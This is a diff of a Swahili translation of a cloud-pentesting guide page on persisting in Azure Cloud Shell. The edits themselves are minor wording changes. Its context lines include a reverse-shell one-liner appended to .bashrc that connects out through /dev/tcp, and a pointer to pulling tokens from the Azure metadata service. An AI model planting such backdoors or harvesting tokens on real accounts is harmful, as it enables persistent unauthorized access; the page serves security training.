Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud

src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md

@@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
 
 ## Cloud Shell Persistence
 
-Azure Cloud Shell inatoa ufikiaji wa amri ili kudhibiti rasilimali za Azure kwa hifadhi ya kudumu na uthibitishaji wa kiotomatiki. Washambuliaji wanaweza kutumia hii kwa kuweka backdoors katika saraka ya nyumbani ya kudumu:
+Azure Cloud Shell inatoa ufikiaji wa amri ili kudhibiti rasilimali za Azure kwa hifadhi ya kudumu na uthibitishaji wa kiotomatiki. Washambuliaji wanaweza kutumia hili kwa kuweka backdoors katika saraka ya nyumbani ya kudumu:
 
 * **Persistent Storage**: Saraka ya nyumbani ya Azure Cloud Shell imewekwa kwenye sehemu ya faili ya Azure na inabaki salama hata baada ya kikao kumalizika.
 * **Startup Scripts**: Faili kama .bashrc zinafanya kazi kiotomatiki mwanzoni mwa kila kikao, kuruhusu utekelezaji wa kudumu wakati shell ya wingu inaanza.
@@ -30,7 +30,7 @@ echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/
 ```
 {% endcode %}
 
-Hii backdoor inaweza kutekeleza amri hata dakika 5 baada ya shell ya wingu kumalizika na mtumiaji.
+Backdoor hii inaweza kutekeleza amri hata dakika 5 baada ya shell ya wingu kumalizika na mtumiaji.
 
 Zaidi ya hayo, uliza huduma ya metadata ya Azure kwa maelezo ya mfano na tokeni:
 {% code overflow="wrap" %}